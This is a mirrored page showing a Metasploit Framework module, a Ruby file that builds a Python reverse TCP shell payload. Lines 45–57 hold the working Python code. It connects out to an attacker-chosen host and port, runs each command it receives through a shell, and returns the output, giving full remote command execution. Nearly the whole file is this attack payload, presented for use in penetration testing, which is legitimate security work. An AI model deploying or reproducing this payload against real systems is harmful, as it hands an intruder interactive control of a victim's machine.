CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/python/shell_reverse_tcp.rb
Views: 11765
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Payload::Python
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Command Shell, Reverse TCP (via python)',
18
'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.',
19
'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
20
'License' => MSF_LICENSE,
21
'Platform' => 'python',
22
'Arch' => ARCH_PYTHON,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'PayloadType' => 'python',
26
'Payload' =>
27
{
28
'Offsets' => { },
29
'Payload' => ''
30
}
31
))
32
end
33
34
#
35
# Constructs the payload
36
#
37
def generate(_opts = {})
38
super + command_string
39
end
40
41
#
42
# Returns the command string to use for execution
43
#
44
def command_string
45
cmd = <<~PYTHON
46
import socket as s
47
import subprocess as r
48
so=s.socket(s.AF_INET,s.SOCK_STREAM)
49
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
50
while True:
51
d=so.recv(1024)
52
if len(d)==0:
53
break
54
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
55
o=p.stdout.read()+p.stderr.read()
56
so.send(o)
57
PYTHON
58
59
py_create_exec_stub(cmd)
60
end
61
end
62
63
64